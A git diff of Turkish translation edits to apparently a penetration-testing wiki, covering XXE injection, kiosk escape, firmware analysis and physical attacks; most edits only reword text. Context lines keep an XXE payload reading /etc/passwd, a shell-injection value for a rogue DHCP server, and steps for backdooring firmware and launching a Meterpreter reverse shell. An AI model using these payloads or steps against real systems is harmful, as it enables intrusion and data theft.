%2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -475,7 +475,7 @@ DTD örneği: Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir. -XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılan XML tabanlı bir formattır. +XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür. ### Blind Request Analizi @@ -513,7 +513,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır. +Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır. Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır: ```xml @@ -522,7 +522,7 @@ Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir y %foo; %xxe; ``` -Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor: +Sunucu, önemli bir şekilde mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor ve sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -608,7 +608,7 @@ PHP base64 filtresi kullanarak ``` ## Java XMLDecoder XEE'den RCE'ye -XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder. +XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** metoduna rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder. ### Runtime().exec() Kullanarak ```xml @@ -678,7 +678,7 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ -- Kendi harici DTD'nizi kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ +- Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md index 1f99955d8..202348e4d 100644 --- a/src/physical-attacks/escaping-from-gui-applications/README.md +++ b/src/physical-attacks/escaping-from-gui-applications/README.md @@ -2,7 +2,7 @@ # GUI uygulaması içindeki olası eylemleri kontrol et -**Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Çoğu, **tam bir Gezgini işlevselliği** sunacaktır. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir: +**Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Bunların çoğu **tam bir Gezgini işlevselliği sunacaktır**. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir: - Kapat/Kapat olarak - Aç/Aç ile @@ -37,7 +37,7 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g - **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır - **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **Sembolik bağlantılar** -- **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Çalıştır), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet) +- **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet) - Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9 - **Shell URI'leri**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ - **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32") @@ -100,16 +100,16 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt ## Kaydırmalar -- Sol taraftan sağa kaydırarak tüm açık pencereleri görmek, KIOSK uygulamasını küçültmek ve tüm işletim sistemine doğrudan erişmek; -- Sağ taraftan sola kaydırarak Eylem Merkezi'ni açmak, KIOSK uygulamasını küçültmek ve tüm işletim sistemine doğrudan erişmek; -- Tam ekran modunda açılmış bir uygulama için başlık çubuğunu görünür hale getirmek üzere üst kenardan kaydırmak; -- Tam ekran uygulamasında görev çubuğunu göstermek için alttan yukarı kaydırmak. +- Sol taraftan sağa kaydırarak tüm açık Windows'ları görün, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin; +- Sağ taraftan sola kaydırarak Eylem Merkezi'ni açın, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin; +- Tam ekran modunda açılmış bir uygulama için başlık çubuğunu görünür hale getirmek üzere üst kenardan kaydırın; +- Tam ekran uygulamasında görev çubuğunu göstermek için alttan yukarı kaydırın. ## Internet Explorer Hileleri ### 'Resim Araç Çubuğu' -Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, Gezginde "Resimlerim"i açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekmektedir. +Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekmektedir. ### Shell Protokolü @@ -155,27 +155,27 @@ Kaynak: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811 ## Hareketler ve düğmeler -- Dört (veya beş) parmakla yukarı kaydırma / Ana ekran düğmesine çift tıklama: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için +- Dört (veya beş) parmakla yukarı kaydırın / Ana ekran düğmesine çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için -- Dört veya beş parmakla bir yöne kaydırma: Bir sonraki/önceki Uygulamaya geçmek için +- Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/son uygulamaya geçmek için -- Beş parmakla ekranı sıkıştırma / Ana ekran düğmesine dokunma / Ekranın altından yukarı hızlı bir hareketle 1 parmakla kaydırma: Ana ekrana erişmek için +- Beş parmakla ekranı sıkıştırın / Ana ekran düğmesine dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için -- Ekranın altından 1-2 inç kadar yavaşça bir parmakla kaydırma: Dock görünecektir +- Ekranın altından 1-2 inç kadar yavaşça bir parmakla kaydırın: Dock görünecektir -- Ekranın üst kısmından 1 parmakla aşağı kaydırma: Bildirimlerinizi görüntülemek için +- Ekranın üst kısmından 1 parmakla aşağı kaydırın: Bildirimlerinizi görüntülemek için -- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırma: iPad Pro'nun kontrol merkezini görmek için +- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırın: iPad Pro'nun kontrol merkezini görmek için -- Ekranın sol tarafından 1-2 inç kadar 1 parmakla kaydırma: Bugün görünümünü görmek için +- Ekranın sol tarafından 1-2 inç kadar bir parmakla kaydırın: Bugün görünümünü görmek için -- Ekranın ortasından sağa veya sola hızlı bir parmakla kaydırma: Bir sonraki/önceki Uygulamaya geçmek için +- Ekranın ortasından sağa veya sola hızlıca 1 parmakla kaydırın: Bir sonraki/son uygulamaya geçmek için - **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine basılı tutun + **güç kapalı** kaydırıcısını tamamen sağa kaydırın: Kapatmak için -- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine birkaç saniye basın: Zorla kapatma yapmak için +- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine birkaç saniye basın: Zorla kapatmak için -- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız zorla kapatma yapılır. +- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız zorla kapatma işlemi gerçekleşir. ## Kısayollar @@ -204,39 +204,39 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar | F2 | Ekranı Parlaklaştırma | | F7 | Bir şarkıyı geri alma | | F8 | Oynat/durdur | -| F9 | Şarkıyı atlama | -| F10 | Ses kapama | -| F11 | Ses seviyesini azaltma | -| F12 | Ses seviyesini artırma | +| F9 | Şarkıyı atlama | +| F10 | Ses kapatma | +| F11 | Ses seviyesini azaltma | +| F12 | Ses seviyesini artırma | | ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar basın. | ### iPad navigasyonu | Kısayol | Eylem | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Ana ekrana git | -| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | -| ⌘ (Boşluk) | Spotlight'ı aç | -| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamayı listele | -| ⌘\~ | Son Uygulamaya git | +| ⌘H | Ana ekrana git | +| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | +| ⌘ (Boşluk) | Spotlight'ı aç | +| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele | +| ⌘\~ | Son uygulamaya git | | ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) | | ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç | -| ⌘ tuşuna basılı tutun | Uygulama için mevcut kısayolların listesini görüntüle | -| ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar | -| ^⌥H (Kontrol-Seçenek-H) | Ana ekran düğmesi | -| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster | +| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesini görüntüle | +| ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar | +| ^⌥H (Kontrol-Seçenek-H) | Ana ekran düğmesi | +| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster | | ^⌥I (Kontrol-Seçenek-i) | Öğe seçici | -| Escape | Geri düğmesi | -| → (Sağ ok) | Sonraki öğe | -| ← (Sol ok) | Önceki öğe | -| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunma | -| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | -| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | -| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | -| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat | -| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç | -| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön | -| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin | +| Escape | Geri düğmesi | +| → (Sağ ok) | Sonraki öğe | +| ← (Sol ok) | Önceki öğe | +| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunun | +| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | +| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | +| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | +| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat | +| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç | +| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön | +| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin | ### Safari kısayolları @@ -245,10 +245,10 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar | ⌘L (Komut-L) | Konum Aç | | ⌘T | Yeni bir sekme aç | | ⌘W | Mevcut sekmeyi kapat | -| ⌘R | Mevcut sekmeyi yenile | +| ⌘R | Mevcut sekmeyi yenile | | ⌘. | Mevcut sekmenin yüklenmesini durdur | | ^⇥ | Sonraki sekmeye geç | -| ^⇧⇥ (Kontrol-Shift-Tab) | Önceki sekmeye geç | +| ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç | | ⌘L | Metin girişi/URL alanını seçip düzenlemek için | | ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | | ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön | @@ -262,9 +262,9 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar | ⌘L | Konum Aç | | ⌘T | Yeni bir sekme aç | | ⌘W | Mevcut sekmeyi kapat | -| ⌘R | Mevcut sekmeyi yenile | +| ⌘R | Mevcut sekmeyi yenile | | ⌘. | Mevcut sekmenin yüklenmesini durdur | -| ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama yap | +| ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama yap | # Referanslar diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md index a2c94dc28..2a4baf935 100644 --- a/src/physical-attacks/firmware-analysis/README.md +++ b/src/physical-attacks/firmware-analysis/README.md @@ -8,16 +8,16 @@ Firmware, cihazların doğru bir şekilde çalışmasını sağlayan ve donanım ## **Bilgi Toplama** -**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamada kritik bir ilk adımdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir: +**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik bir başlangıç adımıdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir: -- CPU mimarisi ve çalıştığı işletim sistemi +- Çalıştığı CPU mimarisi ve işletim sistemi - Bootloader ayrıntıları - Donanım düzeni ve veri sayfaları - Kod tabanı metrikleri ve kaynak konumları - Harici kütüphaneler ve lisans türleri - Güncelleme geçmişleri ve düzenleyici sertifikalar - Mimari ve akış diyagramları -- Güvenlik değerlendirmeleri ve belirlenen açıklar +- Güvenlik değerlendirmeleri ve belirlenen güvenlik açıkları Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir; ayrıca mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’nin LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar. @@ -29,12 +29,12 @@ Firmware edinmek, her biri kendi karmaşıklık seviyesine sahip çeşitli yolla - Verilen talimatlardan **oluşturarak** - Resmi destek sitelerinden **indirerek** - Barındırılan firmware dosyalarını bulmak için **Google dork** sorguları kullanarak -- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama**'ya doğrudan erişerek +- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama** alanlarına doğrudan erişerek - Adam ortada teknikleriyle **güncellemeleri** yakalayarak - **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak** - Cihaz iletişimi içinde güncelleme taleplerini **dinleyerek** - **Sabit kodlu güncelleme uç noktalarını** tanımlayıp kullanarak -- Bootloader veya ağdan **dump** yaparak +- Bootloader veya ağdan **dump** alarak - Tüm bunlar başarısız olursa, uygun donanım araçları kullanarak depolama çipini **çıkartıp okuyarak** ## Firmware'i Analiz Etme @@ -48,7 +48,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -Eğer bu araçlarla çok şey bulamazsanız, görüntünün **entropisini** `binwalk -E ` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır). +Eğer bu araçlarla pek bir şey bulamazsanız, görüntünün **entropisini** `binwalk -E ` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır). Ayrıca, bu araçları **firmware içinde gömülü dosyaları çıkarmak için** kullanabilirsiniz: @@ -61,11 +61,11 @@ Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](http ### Dosya Sistemini Alma Önceki yorumlanan araçlarla `binwalk -ev ` kullanarak **dosya sistemini çıkarmış olmalısınız**.\ -Binwalk genellikle bunu **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. +Binwalk genellikle **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. #### Manuel Dosya Sistemi Çıkartma -Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk'ı kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre **manuel olarak çıkarın**. +Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre **manuel olarak çıkarın**. ``` $ binwalk DIR850L_REVB.bin @@ -91,7 +91,7 @@ Alternatif olarak, aşağıdaki komut da çalıştırılabilir. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` -- squashfs için (yukarıdaki örnekte kullanılmıştır) +- squashfs (yukarıdaki örnekte kullanılan) `$ unsquashfs dir.squashfs` @@ -132,7 +132,7 @@ Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E ### Dosya Sistemini Çıkarma -`binwalk -ev ` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılmış bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, dosya sisteminin ofsetini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu içermektedir: +`binwalk -ev ` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, dosya sisteminin ofsetini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu içermektedir: ```bash $ binwalk DIR850L_REVB.bin @@ -196,7 +196,7 @@ Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullan ## Çalışma Zamanı Analiz Teknikleri -Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar, kesme noktaları ayarlamak ve fuzzing ve diğer teknikler aracılığıyla zafiyetleri tanımlamak için kullanılır. +Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları ayarlanır ve fuzzing gibi tekniklerle zafiyetler belirlenir. ## İkili İstismar ve Kanıt Konsepti @@ -208,7 +208,7 @@ Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anla ## Firmware Analizi için Hazırlanmış OS'ler -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size çok zaman kazandırır. +- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sunarak size çok zaman kazandırır. - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik testleri için firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlı bir işletim sistemi. ## Pratik Yapmak için Zayıf Firmware diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md index 971504920..47b71da85 100644 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ b/src/physical-attacks/firmware-analysis/bootloader-testing.md @@ -38,7 +38,7 @@ Aşağıdaki adımlar, U-boot gibi cihaz başlangıç yapılandırmalarını ve 6. **Dikkatli Donanım Müdahalesi**: -- Cihazın başlatma sırası sırasında bir pini toprağa bağlarken ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısa devre yapmadan önce NAND flash yongasının veri sayfasını kontrol edin. +- Cihazın başlatma sırası sırasında bir pini toprağa bağlarken ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısaltmadan önce NAND flash yongasının veri sayfasını kontrol edin. 7. **Sahte DHCP Sunucusu Yapılandırın**: - PXE başlatma sırasında bir cihazın alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutları ile değiştirerek cihaz başlangıç prosedürleri için giriş doğrulamasını test edin. diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md index 2c94e133e..b51a1c779 100644 --- a/src/physical-attacks/firmware-analysis/firmware-integrity.md +++ b/src/physical-attacks/firmware-analysis/firmware-integrity.md @@ -11,7 +11,7 @@ 5. Arka kapı, çıkarılan firmware'in /usr/bin dizinine kopyalanabilir. 6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ye kopyalanabilir. 7. Arka kapı, chroot ve QEMU kullanılarak taklit edilebilir. -8. Arka kapıya netcat üzerinden erişilebilir. +8. Arka kapıya netcat aracılığıyla erişilebilir. 9. QEMU ikili dosyası, çıkarılan firmware rootfs'den kaldırılmalıdır. 10. Değiştirilen firmware, FMK kullanılarak yeniden paketlenebilir. 11. Arka kapılı firmware, firmware analysis toolkit (FAT) ile taklit edilerek ve hedef arka kapı IP'sine ve portuna netcat kullanarak bağlanarak test edilebilir. @@ -21,7 +21,7 @@ Eğer dinamik analiz, önyükleyici manipülasyonu veya donanım güvenlik testi 1. Hedef firmware mimarisi ve endianlık belirlenmelidir. 2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme port numarasını, dosya türünü, mimariyi, platformu ve çıktı dosyasını belirtmek için kullanılabilir. 3. Yük, ele geçirilmiş cihaza aktarılmalı ve yürütme izinlerinin olduğu doğrulanmalıdır. -4. Metasploit, msfconsole başlatarak ve ayarları yükleye göre yapılandırarak gelen istekleri işlemek için hazırlanabilir. +4. Metasploit, msfconsole başlatarak ve ayarları yükle göre yapılandırarak gelen istekleri işlemek için hazırlanabilir. 5. Meterpreter ters shell, ele geçirilmiş cihazda çalıştırılabilir. 6. Meterpreter oturumları açıldıkça izlenebilir. 7. Post-exploitation faaliyetleri gerçekleştirilebilir. diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md index f4dd78e91..e71729c71 100644 --- a/src/physical-attacks/physical-attacks.md +++ b/src/physical-attacks/physical-attacks.md @@ -8,17 +8,17 @@ Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarmaya yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar. -BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifre elde etmek için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir. +BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifreyi potansiyel olarak geri almak için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir. ### UEFI Güvenliği -Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz 